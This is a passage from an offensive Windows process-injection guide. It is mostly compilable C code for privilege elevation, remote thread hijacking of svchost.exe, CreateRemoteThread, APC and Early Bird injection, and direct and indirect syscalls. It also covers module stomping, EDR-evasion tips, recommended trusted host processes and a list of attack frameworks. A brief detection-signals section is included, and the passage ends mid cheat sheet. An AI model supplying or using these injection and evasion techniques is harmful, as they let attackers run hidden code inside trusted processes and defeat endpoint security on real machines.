printf("[-] LookupPrivilegeValue failed: %lu\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
printf("[-] AdjustTokenPrivileges failed: %lu\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
// AdjustTokenPrivileges returns TRUE even if some privs weren't adjusted
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] SeDebugPrivilege not held by current token\n");
printf(" Run as Administrator or SYSTEM\n");
CloseHandle(hToken);
return FALSE;
}
printf("[+] SeDebugPrivilege enabled\n");
CloseHandle(hToken);
return TRUE;
}
10.2 Full Remote Thread Hijack — svchost.exe Target
// Complete remote thread hijacking targeting svchost.exe
// Compile: cl.exe hijack.c /Fe:hijack.exe
// x86_64-w64-mingw32-gcc hijack.c -o hijack.exe
int main(void) {
// Step 0: Elevate privileges
if (!EnableDebugPrivilege()) {
printf("[-] Cannot elevate — aborting\n");
return 1;
}
// Step 1: Find target process
// svchost.exe has many instances — pick one with appropriate privileges
DWORD pid = FindProcessByName("svchost.exe");
if (!pid) {
printf("[-] svchost.exe not found\n");
return 1;
}
printf("[*] Target PID: %lu\n", pid);
// Step 2: Enumerate threads
DWORD tids[64] = {0};
DWORD count = GetAllThreadIDs(pid, tids, 64);
printf("[*] Found %lu threads\n", count);
// Step 3: Pick a safe thread (not thread 0 — skip main thread)
// In production: use FindSafeHijackThread() from §8.2
DWORD selectedTid = 0;
for (DWORD i = 1; i < count; i++) { // Skip index 0 (likely main thread)
selectedTid = tids[i];
break;
}
if (!selectedTid) {
printf("[-] No suitable thread found\n");
return 1;
}
printf("[*] Selected TID: %lu\n", selectedTid);
// Steps 3–9: Same as LocalThreadHijack() from §9.1
return LocalThreadHijack(pid, selectedTid) ? 0 : 1;
}
10.3 Return-Oriented Context Restore (Optional)
// After shellcode runs, restore original RIP so the thread continues normally
// This requires shellcode that saves/restores registers and calls back
// A trampoline approach:
// 1. Shellcode saves all registers (pushad / push rax etc.)
// 2. Shellcode calls your payload
// 3. Shellcode restores registers (popad / pop rax etc.)
// 4. Shellcode JMPs to originalRip
// Trampoline stub (x64 pseudo-assembly):
// push rax; push rbx; push rcx; push rdx; push rsi; push rdi
// push r8; push r9; push r10; push r11; push r12; push r13; push r14; push r15
// sub rsp, 28h ; align stack + shadow space
// call <payload_addr>
// add rsp, 28h
// pop r15; pop r14; pop r13; pop r12; pop r11; pop r10; pop r9; pop r8
// pop rdi; pop rsi; pop rdx; pop rcx; pop rbx; pop rax
// mov rax, <originalRip>
// jmp rax
[OPSEC] Without context restore, the target thread crashes when shellcode returns. For long-term implants, implement a proper trampoline. For one-shot payloads (spawning a new process), it's acceptable to let the thread crash.
11. Hijacking via CreateRemoteThread
What it means: CreateRemoteThread is the most common injection API — not true thread hijacking, but often grouped with it. It creates a new thread in a remote process, pointing at injected shellcode. Simpler than context manipulation, but much more detectable.
11.1 Classic CreateRemoteThread Injection
#include <windows.h>
#include <stdio.h>
BOOL CreateRemoteThreadInject(DWORD targetPid, unsigned char* shellcode, SIZE_T len) {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemote = NULL;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// Allocate memory
pRemote = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemote) goto fail;
// Write shellcode
SIZE_T written;
if (!WriteProcessMemory(hProcess, pRemote, shellcode, len, &written)) goto fail;
// Create thread pointing at shellcode
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
goto fail;
}
printf("[+] Remote thread created: TID visible in process\n");
WaitForSingleObject(hThread, 5000); // Wait up to 5s
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
fail:
if (pRemote) VirtualFreeEx(hProcess, pRemote, 0, MEM_RELEASE);
if (hProcess) CloseHandle(hProcess);
return FALSE;
}
11.2 NtCreateThreadEx — Stealthier Variant
// NtCreateThreadEx is the underlying native API
// Can create threads with hidden flags (bypasses some CreateRemoteThread hooks)
typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags, // 0x1 = CREATE_SUSPENDED, 0x4 = HIDE_FROM_DEBUGGER
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList);
BOOL NtCreateThreadExInject(HANDLE hProcess, LPVOID pShellcode) {
pNtCreateThreadEx NtCTE = (pNtCreateThreadEx)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
HANDLE hThread = NULL;
NTSTATUS status = NtCTE(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
pShellcode,
NULL,
0x4, // HIDE_FROM_DEBUGGER — thread not visible in some tools
0, 0, 0, NULL);
if (status != 0) {
printf("[-] NtCreateThreadEx failed: 0x%lx\n", status);
return FALSE;
}
printf("[+] Hidden thread created via NtCreateThreadEx\n");
ResumeThread(hThread);
CloseHandle(hThread);
return TRUE;
}
[DETECT] CreateRemoteThread is one of the most monitored APIs in Windows. EDR tools hook it at ntdll, kernel32, and kernelbase levels. NtCreateThreadEx is slightly stealthier but still monitored. True thread hijacking (§9, §10) is significantly less noisy.
12. Asynchronous Procedure Call (APC) Injection
What it means: APCs are functions that execute asynchronously in the context of a specific thread. APC injection queues a malicious APC to a thread's APC queue. The APC fires when the thread enters an alertable wait state (calls SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx with alertable=TRUE).
12.1 APC Injection Flow
APC Injection Flow:
═══════════════════════════════════════════════════════
1. Find target process + alertable thread
├─ svchost.exe threads often alertable
└─ Look for WaitReason = UserRequest / Executive
2. OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION)
3. VirtualAllocEx → Write shellcode → VirtualProtectEx(RX)
4. OpenThread(THREAD_SET_CONTEXT)
5. QueueUserAPC(shellcode_ptr, hThread, 0)
6. Thread enters alertable wait → APC fires → shellcode executes
═══════════════════════════════════════════════════════
12.2 APC Injection — C Implementation
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL APCInject(DWORD targetPid, DWORD targetTid,
unsigned char* shellcode, SIZE_T len) {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemote = NULL;
// Step 1: Open process
hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
PROCESS_VM_READ | PROCESS_CREATE_THREAD,
FALSE, targetPid);
if (!hProcess) { printf("[-] OpenProcess failed\n"); return FALSE; }
// Step 2: Allocate + write shellcode
pRemote = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) { printf("[-] VirtualAllocEx failed\n"); goto fail; }
SIZE_T written;
WriteProcessMemory(hProcess, pRemote, shellcode, len, &written);
// Step 3: Change to RX (avoid RWX page)
DWORD oldProt;
VirtualProtectEx(hProcess, pRemote, len, PAGE_EXECUTE_READ, &oldProt);
// Step 4: Open thread
hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, targetTid);
if (!hThread) { printf("[-] OpenThread failed\n"); goto fail; }
// Step 5: Queue APC
// QueueUserAPC requires: thread must enter alertable wait for APC to fire
DWORD queueResult = QueueUserAPC(
(PAPCFUNC)pRemote, // APC function pointer = shellcode address
hThread, // Target thread
0); // APC argument (passed to shellcode in RCX on x64)
if (!queueResult) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
goto fail;
}
printf("[+] APC queued to TID %lu\n", targetTid);
printf("[!] Shellcode will fire when thread enters alertable wait\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
fail:
if (pRemote) VirtualFreeEx(hProcess, pRemote, 0, MEM_RELEASE);
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return FALSE;
}
// Usage:
// Target all threads of a process for maximum chance of hitting alertable one
BOOL APCInjectAllThreads(DWORD targetPid,
unsigned char* shellcode, SIZE_T len) {
DWORD tids[128] = {0};
DWORD count = GetAllThreadIDs(targetPid, tids, 128);
BOOL queued = FALSE;
// Allocate shellcode once, queue to all threads
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid);
LPVOID pRemote = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, len, NULL);
DWORD old;
VirtualProtectEx(hProcess, pRemote, len, PAGE_EXECUTE_READ, &old);
for (DWORD i = 0; i < count; i++) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tids[i]);
if (!hThread) continue;
if (QueueUserAPC((PAPCFUNC)pRemote, hThread, 0)) {
printf("[+] APC queued to TID %lu\n", tids[i]);
queued = TRUE;
}
CloseHandle(hThread);
}
CloseHandle(hProcess);
return queued;
}
[OPSEC] APC injection requires an alertable thread. If you queue APCs to all threads, shellcode may execute multiple times (once per alertable thread that wakes up). Make your shellcode idempotent or check a global flag.
13. Early Bird APC Injection
What it means: Early Bird is a variant of APC injection that creates a new process in a suspended state, injects shellcode before any code runs, queues an APC, then resumes the process. Since no code has executed in the target yet, there are no hooks or security products loaded — this is one of the most reliable injection techniques.
13.1 Early Bird Flow
Early Bird APC Flow:
═══════════════════════════════════════════════════════
1. CreateProcess(target, ..., CREATE_SUSPENDED)
└─ New process created — main thread suspended
└─ No DLLs initialized yet except ntdll
└─ NO EDR hooks loaded yet!
2. VirtualAllocEx → WriteProcessMemory (shellcode into new process)
3. QueueUserAPC(shellcode, mainThread, 0)
4. ResumeThread(mainThread)
└─ Thread wakes, processes APC queue FIRST
└─ Shellcode runs before WinMain / DllMain
└─ EDR gets loaded AFTER shellcode has already run
═══════════════════════════════════════════════════════
13.2 Early Bird Implementation (C)
#include <windows.h>
#include <stdio.h>
BOOL EarlyBirdInject(const char* targetPath, unsigned char* shellcode, SIZE_T len) {
STARTUPINFOA si = { .cb = sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {0};
// Step 1: Create process in SUSPENDED state
if (!CreateProcessA(
targetPath, // e.g., "C:\\Windows\\System32\\svchost.exe"
NULL, // Command line args
NULL, NULL, // Process/Thread security attrs
FALSE, // Inherit handles
CREATE_SUSPENDED, // ← KEY: main thread starts suspended
NULL, NULL, // Env + CWD
&si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Created PID %lu TID %lu (suspended)\n",
pi.dwProcessId, pi.dwThreadId);
// Step 2: Allocate memory in suspended process
LPVOID pRemote = VirtualAllocEx(
pi.hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemote) {
printf("[-] VirtualAllocEx failed\n");
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return FALSE;
}
// Step 3: Write shellcode
SIZE_T written;
WriteProcessMemory(pi.hProcess, pRemote, shellcode, len, &written);
printf("[+] Shellcode written at 0x%p\n", pRemote);
// Step 4: Change protection to RX
DWORD oldProt;
VirtualProtectEx(pi.hProcess, pRemote, len, PAGE_EXECUTE_READ, &oldProt);
// Step 5: Queue APC to the main thread (pi.hThread = main thread handle)
// The main thread hasn't run yet — no security products loaded
if (!QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
VirtualFreeEx(pi.hProcess, pRemote, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return FALSE;
}
printf("[+] APC queued to main thread\n");
// Step 6: Resume main thread → APC fires first → shellcode runs
ResumeThread(pi.hThread);
printf("[+] Thread resumed — shellcode executing before EDR loads\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
// Usage:
// EarlyBirdInject("C:\\Windows\\System32\\notepad.exe", shellcode, sizeof(shellcode));
// EarlyBirdInject("C:\\Windows\\System32\\RuntimeBroker.exe", shellcode, sizeof(shellcode));
13.3 Good Early Bird Host Processes
Recommended host processes for Early Bird:
├─ C:\Windows\System32\RuntimeBroker.exe ← Trusted, signed
├─ C:\Windows\System32\svchost.exe -k netsvcs ← Common, many instances
├─ C:\Windows\SysWOW64\notepad.exe ← User-mode, accessible
├─ C:\Windows\System32\WerFault.exe ← Error reporting, trusted
└─ C:\Windows\System32\colorcpl.exe ← Rarely suspicious
Avoid:
├─ cmd.exe / powershell.exe → Extremely monitored
├─ regsvr32.exe / mshta.exe → LOLBAS — flagged by default
└─ Any process with PPID anomaly detection risk
[OPSEC] The parent process of your Early Bird spawn should match a natural process. Spawning svchost.exe from notepad.exe triggers PPID spoofing detection. Use PPID spoofing APIs (UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) to set a plausible parent.
14. Thread Context Manipulation Deep Dive
What it means: Understanding the CONTEXT structure is essential for reliable thread hijacking. The context captures the entire CPU state of a thread at a point in time. Modifying it incorrectly corrupts register state and crashes the thread.
14.1 CONTEXT Structure (x64)
// Key fields in CONTEXT (x64) — winnt.h
typedef struct _CONTEXT {
// Control registers (captured with CONTEXT_CONTROL)
DWORD64 Rip; // ← Instruction Pointer — this is what we redirect
DWORD64 Rsp; // ← Stack Pointer
DWORD64 Rbp; // Base Pointer
DWORD64 Rflags; // CPU flags
// General-purpose registers (CONTEXT_INTEGER)
DWORD64 Rax;
DWORD64 Rbx;
DWORD64 Rcx; // ← First argument on x64 (APC argument lands here)
DWORD64 Rdx; // Second argument
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8; // Third argument
DWORD64 R9; // Fourth argument
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;
// Segment registers (CONTEXT_SEGMENTS)
WORD SegCs; // Code segment
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs; // Stack segment
// ... XMM registers, debug registers etc.
} CONTEXT;
// ContextFlags values:
// CONTEXT_CONTROL = 0x00100001 → Rip, Rsp, Rbp, Rflags, Cs, Ss
// CONTEXT_INTEGER = 0x00100002 → Rax–R15
// CONTEXT_FULL = 0x00100007 → All of the above (use this)
14.2 Stack Alignment for x64
// The x64 ABI requires RSP to be 16-byte aligned BEFORE a CALL instruction
// When a CALL executes, it pushes 8 bytes (return address), making RSP 16-aligned at entry
// If you redirect RIP without pushing a return address, RSP alignment breaks
// Problem:
ctx.Rip = (DWORD64)pShellcode;
// → If RSP is already 8-byte misaligned from a prior CALL's push, XMM ops crash
// Solution: Force 16-byte alignment + phantom return address
ctx.Rsp -= 8; // Make RSP 16-byte aligned (simulate CALL's push)
ctx.Rip = (DWORD64)pShellcode;
// Even better: push a dummy return address to the stack
// Write 0x0 (or your trampoline address) at [RSP-8], then:
DWORD64 dummyRet = 0;
WriteProcessMemory(hProcess, (LPVOID)(ctx.Rsp - 8), &dummyRet, 8, NULL);
ctx.Rsp -= 8;
ctx.Rip = (DWORD64)pShellcode;
14.3 WOW64 Context (32-bit process on 64-bit Windows)
// Injecting into a 32-bit process on 64-bit Windows requires Wow64 context
#include <winternl.h>
typedef struct _WOW64_CONTEXT {
DWORD ContextFlags;
DWORD Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;
// ... floating point
DWORD Eip; // ← Instruction pointer for WOW64
DWORD Esp; // Stack pointer
DWORD Eax, Ecx, Edx, Ebx;
DWORD Ebp, Esi, Edi;
WORD SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
DWORD EFlags;
} WOW64_CONTEXT;
// APIs for WOW64:
// Wow64GetThreadContext(hThread, &wow64ctx) ← Get 32-bit context
// Wow64SetThreadContext(hThread, &wow64ctx) ← Set 32-bit context
15. NtQuerySystemInformation — Low-Level Enumeration
What it means: NtQuerySystemInformation is a native NT API that provides system-wide process and thread information in a single call. It's the lowest-level usermode enumeration API, sitting just above raw syscalls. Using it (especially via direct syscall) avoids most EDR hooks applied to higher-level APIs.
15.1 Direct Syscall Pattern (SysWhispers Style)
// Direct syscall bypasses ntdll hooks entirely
// EDR products hook functions in ntdll.dll user-mode stubs
// Direct syscall jumps to kernel directly, skipping the hook
// Manual syscall stub (x64 NASM)
; NtQuerySystemInformation syscall stub (Windows 10/11 — SSN varies by build)
; Use SysWhispers3 or HellsGate to dynamically resolve SSN at runtime
global NtQuerySystemInformation_Syscall
NtQuerySystemInformation_Syscall:
mov r10, rcx ; Save first arg (required by NT calling convention)
mov eax, 0x36 ; Syscall Service Number (SSN) for NtQuerySystemInformation
; ← THIS NUMBER CHANGES PER WINDOWS BUILD
syscall ; Jump to kernel
ret
; For dynamic SSN resolution, use HellsGate (read SSN from ntdll on disk):
; 1. Map ntdll from disk (not from memory — hooked version)
; 2. Find NtQuerySystemInformation export
; 3. Read the 'mov eax, <SSN>' instruction bytes
; 4. Extract SSN from bytes 4-7
; 5. Use that SSN in your stub
15.2 Full NtQSI Enumeration — Process + Thread in One Pass
// Combined: enumerate all processes AND their threads in one NtQSI call
// More efficient and stealthier than separate Toolhelp32 snapshots
typedef struct _FULL_PROC_INFO {
DWORD pid;
WCHAR name[64];
DWORD threadCount;
DWORD tids[64];
DWORD threadStates[64]; // 5 = Waiting (ideal for hijack)
DWORD waitReasons[64];
} FULL_PROC_INFO;
BOOL EnumAllProcessesAndThreads(FULL_PROC_INFO* out, DWORD maxProcs, DWORD* found) {
// [Setup NtQSI pointer and buffer as in §4.3]
// ...
PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)pBuf;
*found = 0;
while (*found < maxProcs) {
FULL_PROC_INFO* fi = &out[*found];
fi->pid = (DWORD)(ULONG_PTR)pCur->UniqueProcessId;
fi->threadCount = min(pCur->NumberOfThreads, 64);
if (pCur->ImageName.Buffer)
wcsncpy(fi->name, pCur->ImageName.Buffer, 63);
// Threads follow immediately after this struct
PSYSTEM_THREAD_INFORMATION pTi = (PSYSTEM_THREAD_INFORMATION)(pCur + 1);
for (ULONG t = 0; t < fi->threadCount; t++) {
fi->tids[t] = (DWORD)(ULONG_PTR)pTi[t].ClientId.UniqueThread;
fi->threadStates[t] = pTi[t].ThreadState;
fi->waitReasons[t] = pTi[t].WaitReason;
}
(*found)++;
if (pCur->NextEntryOffset == 0) break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
return TRUE;
}
// Find best hijack target across all processes
void FindBestHijackTarget(FULL_PROC_INFO* procs, DWORD count) {
printf("%-30ls %-8s %-8s %-12s %-8s\n",
L"Process", "PID", "TID", "State", "WaitRsn");
printf("%-30ls %-8s %-8s %-12s %-8s\n",
L"-------", "---", "---", "-----", "-------");
for (DWORD i = 0; i < count; i++) {
for (DWORD t = 0; t < procs[i].threadCount; t++) {
// State 5 = Waiting → ideal for hijacking
if (procs[i].threadStates[t] == 5) {
printf("[CANDIDATE] %-25ls PID %-6lu TID %-6lu WaitRsn %lu\n",
procs[i].name,
procs[i].pid,
procs[i].tids[t],
procs[i].waitReasons[t]);
}
}
}
}
[EVASION] Combine NtQuerySystemInformation via direct syscall with handle table walking (via NtQueryInformationProcess) to enumerate process handles without a single Toolhelp32 call — avoids the most common EDR hooks entirely.
16. WMI-Based Remote Enumeration
What it means: WMI (Windows Management Instrumentation) provides a scriptable interface to enumerate processes, services, threads, and system state on local and remote machines. It's heavily used by defenders (monitoring tools) and attackers alike (lateral movement, enumeration).
16.1 WMI Classes for Process Enumeration
Useful WMI Classes:
├─ Win32_Process → Running processes (PID, name, cmdline, owner)
├─ Win32_Thread → Thread details (handle, state, priority)
├─ Win32_Service → Windows services (+ their host PIDs)
├─ Win32_ProcessStartup → Process creation config
└─ Win32_NTLogEvent → Event log (process creation events)
Key Win32_Process properties:
├─ ProcessId → PID
├─ ParentProcessId → Parent PID
├─ Name → Process name
├─ ExecutablePath → Full path to executable
├─ CommandLine → Full command line arguments
├─ SessionId → Logon session
└─ WorkingSetSize → Memory usage
Key Win32_Thread properties:
├─ Handle → Thread ID (TID)
├─ ProcessHandle → Owner PID (as string)
├─ ThreadState → 0=Init 1=Ready 2=Running 5=Blocked 6=Wait 7=Trans
└─ ThreadWaitReason → Why thread is waiting (0=Exec, 6=UserReq etc.)
16.2 PowerShell WMI — Advanced Enumeration
# Find all svchost instances and their thread counts
Get-WmiObject Win32_Process -Filter "Name='svchost.exe'" |
Select-Object ProcessId, CommandLine |
ForEach-Object {
$threads = (Get-WmiObject Win32_Thread -Filter "ProcessHandle='$($_.ProcessId)'")
[PSCustomObject]@{
PID = $_.ProcessId
CmdLine = $_.CommandLine
ThreadCount = $threads.Count
WaitingThreads = ($threads | Where-Object { $_.ThreadState -eq 5 }).Count
}
} | Format-Table -AutoSize
# Find process by command line content (find specific svchost service)
Get-WmiObject Win32_Process -Filter "Name='svchost.exe'" |
Where-Object { $_.CommandLine -like "*netsvcs*" } |
Select-Object ProcessId, CommandLine
# Get threads in a waiting/alertable state for APC injection targeting
$targetPid = (Get-Process -Name "explorer").Id
Get-WmiObject Win32_Thread -Filter "ProcessHandle='$targetPid'" |
Where-Object { $_.ThreadState -in 5,6 } |
Select-Object Handle, ThreadState, ThreadWaitReason |
Format-Table -AutoSize
16.3 Process Parent Mapping (PPID Spoofing Detection Evasion)
# Build a process tree — identify orphan processes (PPID anomalies)
# Used defensively; attacker maps this to pick a legitimate parent for spawn
$procs = Get-WmiObject Win32_Process | Select-Object ProcessId, ParentProcessId, Name
function Show-ProcessTree {
param($parentId = 0, $indent = "")
$children = $procs | Where-Object { $_.ParentProcessId -eq $parentId }
foreach ($p in $children) {
Write-Output "${indent}[$($p.ProcessId)] $($p.Name)"
Show-ProcessTree -parentId $p.ProcessId -indent "$indent "
}
}
Show-ProcessTree -parentId 0
17. Tools Reference
Enumeration Tools
| Tool | Type | Purpose | Source |
|---|---|---|---|
| Process Hacker | GUI | Deep process/thread viewer, memory maps | processhacker.github.io |
| Process Explorer | GUI | Sysinternals process tree, DLL view | docs.microsoft.com/sysinternals |
| ProcessMonitor | GUI | Real-time process/thread activity log | Sysinternals Suite |
| WinObjEx64 | GUI | Windows objects browser (handles, threads) | github.com/hfiref0x/WinObjEx64 |
| x64dbg | Debugger | Step-level thread context inspection | x64dbg.com |
Injection / Hijacking Frameworks
| Tool | Language | Technique | Source |
|---|---|---|---|
| MonkeyWorks | C | Thread hijacking + APC | github.com/S1ckB0y1337 |
| Minjector | C++ | Multiple injection methods including thread hijack | github.com |
| Donut | C | Shellcode generation + process injection | github.com/TheWover/donut |
| SysWhispers3 | C | Direct syscall stubs for all NT APIs | github.com/klezVirus/SysWhispers3 |
| HellsGate | C | Dynamic SSN resolution for direct syscalls | github.com/am0nsec/HellsGate |
| ThreadSpy | Python | Thread enumeration + state inspection | Custom / PoC |
Offensive PowerShell / C# Tools
| Tool | Language | Technique | Notes |
|---|---|---|---|
| SharpHijack | C# | Thread hijacking | BOF-compatible |
| Cobalt Strike BOF | C | Thread context manipulation | Reflective injection |
| PowerSploit | PS | Various injection methods | Invoke-ReflectivePEInjection |
| Invoke-PSInject | PS | PowerShell process injection | github.com/EmpireProject |
EDR Evasion Helpers
| Tool | Purpose |
|---|---|
| ThreatCheck | Find bytes triggering AV/EDR |
| pe-sieve | Detect injected memory regions |
| Moneta | Detect anomalous private executable memory |
| Get-InjectedThread | PowerShell: detect thread start addresses outside modules |
18. Detection & Evasion
18.1 Detection Vectors
EDR Detection Patterns for Thread Hijacking:
═══════════════════════════════════════════════════════
[HIGH SIGNAL]
├─ SuspendThread → SetThreadContext → ResumeThread sequence
│ on a thread belonging to a different process
├─ Thread start address (Rip after SetContext) pointing to private memory
│ (not backed by a DLL on disk)
├─ VirtualAllocEx(PAGE_EXECUTE_READWRITE) → WriteProcessMemory pattern
├─ CreateRemoteThread with start address in private memory
└─ QueueUserAPC with target address in private/unbacked memory
[MEDIUM SIGNAL]
├─ OpenProcess/OpenThread with THREAD_ALL_ACCESS on sensitive process
├─ Cross-process memory write (WriteProcessMemory) to executable region
├─ NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory
└─ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD) from suspicious parent
[LOW SIGNAL — BUT CORRELATED]
├─ Process with no console window spawning child processes
├─ Thread start address in unbacked anonymous memory region
└─ PPID mismatch (process parent is not expected parent)
18.2 Evasion Techniques
1. Avoid RWX pages — use two-step protection:
// BAD: RWX page (common injection signature)
pRemote = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// GOOD: Allocate RW, write, then change to RX
pRemote = VirtualAllocEx(hProcess, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, len, NULL);
DWORD old;
VirtualProtectEx(hProcess, pRemote, len, PAGE_EXECUTE_READ, &old);
2. Module-Stomping — overwrite existing mapped DLL memory:
// Instead of allocating new private memory (suspicious unbacked region),
// overwrite memory already mapped from a legitimate DLL (backed by a file on disk)
// Step 1: Find a rarely-used DLL already loaded in the target
// (e.g., xpsprint.dll, colorui.dll — uncommon, low usage)
// Step 2: Get base address of that module in target
HMODULE hMod = GetModuleHandle("xpsprint.dll"); // In target's space
// Step 3: Change its memory permissions to RW
VirtualProtectEx(hProcess, hMod, len, PAGE_READWRITE, &old);
// Step 4: Overwrite with shellcode
WriteProcessMemory(hProcess, hMod, shellcode, len, NULL);
// Step 5: Change back to RX
VirtualProtectEx(hProcess, hMod, len, PAGE_EXECUTE_READ, &old);
// Result: Thread RIP points to memory BACKED BY A DLL ON DISK
// → "Thread start address in unbacked memory" detection BYPASSED
3. Indirect Syscalls — avoid ntdll hooks:
// EDR hooks are planted in ntdll.dll memory stubs
// Indirect syscall: finds the syscall instruction IN ntdll (legitimate),
// jumps to it directly, so the EDR's hook in the stub is never triggered
// Concept:
// Normal: your code → NtOpenProcess stub [EDR HOOK HERE] → syscall → kernel
// Indirect: your code → [jump to syscall gadget inside ntdll] → kernel
// ← EDR hook in the stub is completely skipped
// Implementation: find "syscall; ret" gadget in ntdll's .text
PVOID FindSyscallGadget(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PBYTE base = (PBYTE)hNtdll;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
PBYTE text = base + sec[i].VirtualAddress;
DWORD sz = sec[i].SizeOfRawData;
for (DWORD j = 0; j < sz - 1; j++) {
if (text[j] == 0x0F && text[j+1] == 0x05) // syscall opcode
return (PVOID)(text + j);
}
}
}
return NULL;
}
4. Handle Duplication — avoid direct OpenProcess:
// Instead of calling OpenProcess (suspicious), duplicate an existing handle
// that another process already holds on your target
// Concept: if process A already has a handle to process B,
// duplicate that handle into your process without calling OpenProcess
// NtQuerySystemInformation(SystemHandleInformation) → find handle to target
// NtDuplicateObject → duplicate it into current process
// This avoids an OpenProcess event log entry (4688 ObjectOpen)
// and avoids hooks on OpenProcess/OpenThread
5. Sleep Jitter Between Steps:
// Add random delays between hijacking steps to break correlation
// EDR behavioral engines correlate a sequence of events in a time window
// Between each step:
Sleep(rand() % 500 + 100); // 100–600ms random sleep
// More sophisticated: use NtDelayExecution (direct syscall)
// and vary the delay based on a hash of environment values
[DETECT] Get-InjectedThread (PowerShell) detects threads whose start address is not within a loaded module. Module-stomping defeats this check. Tools like pe-sieve and Moneta go deeper and can detect stomped DLL memory by comparing in-memory images to disk copies.
[EVASION] Stack spoofing — craft a fake call stack using gadgets so that if an EDR walks the thread's stack during a hijacked execution, it sees a legitimate-looking call chain instead of your shellcode stub.
19. Comparison Matrix
| Technique | New Thread | Access Needed | Alertable Thread Required | Crash Risk | EDR Detection | OPSEC Level |
|---|---|---|---|---|---|---|
| CreateRemoteThread | YES | PROCESS_CREATE_THREAD + VM_WRITE | No | Low | Very High | Very Low |
| NtCreateThreadEx (hidden) | YES | PROCESS_CREATE_THREAD + VM_WRITE | No | Low | High | Low |
| Thread Hijack (SetContext) | NO | PROCESS_VM_WRITE + THREAD_SET_CONTEXT | No | Medium | Medium | Medium |
| APC Injection | NO | PROCESS_VM_WRITE + THREAD_SET_CONTEXT | YES | Low | Medium | Medium |
| Early Bird APC | Process only | CREATE_PROCESS | No (main thread) | Very Low | Low | High |
| Module Stomping + SetContext | NO | PROCESS_VM_WRITE + THREAD_SET_CONTEXT | No | Medium | Low | High |
| Direct Syscall + Hijack | NO | Same as above (via syscall) | No | Medium | Very Low | Very High |
20. Cheat Sheet
Quick Workflow — Enumerate → Select → Hijack
# Step 1: Find target process on local machine (PowerShell)
Get-Process -Name "explorer" | Select-Object Id, Name
# Step 2: Enumerate threads and their states
